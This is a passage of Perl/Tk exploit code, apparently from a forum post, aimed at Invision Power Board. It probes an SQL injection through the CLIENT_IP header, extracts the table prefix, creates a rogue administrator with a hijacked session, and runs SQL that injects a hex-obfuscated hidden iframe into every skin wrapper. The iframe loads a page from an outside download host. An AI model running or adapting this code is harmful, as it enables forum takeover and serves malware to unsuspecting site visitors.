$xpl = LWP::UserAgent->new( ) or die;
($url2 = $url) =~ s/index.php/admin.php/;
$cf = '';
%fields = (
'code' => 'doadd',
'act' => 'mem',
'section' => 'content',
'name' => $new_admin_name,
'password' => $new_admin_password,
'email' => $new_admin_email,
'mgroup' => $group,
);
if($use_custom_fields)
{
@cf = split(',',$custom_fields);
foreach(@cf) { ($k,$v) = split('=',$_); $fields{$k} = $v;}
}

$res = $xpl->post($url2."?adsess=$session_id",
[
%fields,
],
'USER_AGENT'=>'',
'CLIENT_IP'=>"$session_ip_address",
'X_FORWARDED_FOR'=>"$session_ip_address");
$if = & #39;0x3C646976207374796C653D225649534942494C4954593A2068696464656E223E3C69667261
6D65207372633D22687474703A2F2F7A63687873696B70677A2E62697A2F646C2F6164763534332E
706870222077696474683D31206865696768743D313E3C2F696672616D653E3C2F6469763E';
$query = "UPDATE ".$prefix."skin_sets SET set_wrapper = CONCAT(set_wrapper,".$if."), set_cache_wrapper = CONCAT(set_cache_wrapper,".$if.")";
$res = $xpl->post($url2."?adsess=$session_id",
[
'code' => 'runsql',
'act' => 'sql',
'section' => 'admin',
'query' => $query,
],
'USER_AGENT'=>'',
'CLIENT_IP'=>"$session_ip_address",
'X_FORWARDED_FOR'=>"$session_ip_address");
$InfoWindow->add('Label', -text => 'Done!', -font => '{Verdana} 8 bold',-foreground=>'green')->pack;
$InfoWindow->add('Label', -text => 'New admin created', -font => '{Verdana} 8 bold')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}

sub test_vuln()
{
$InfoWindow=$mw->DialogBox(-title => 'test forum vulnerability', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/*");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if($rep eq 'VULN') { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; }
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}


sub get_prefix()
{
$InfoWindow=$mw->DialogBox(-title => 'get database tables prefix', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"'");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /FROM (.*)sessions/)
{
$prefix = $1;
$InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack;
}
else
{
$InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}

sub session()
{
return 'r57ipb216_for_IDS';
}

Сообщение отредактировал Sugar - Jan 27 2007, 21:27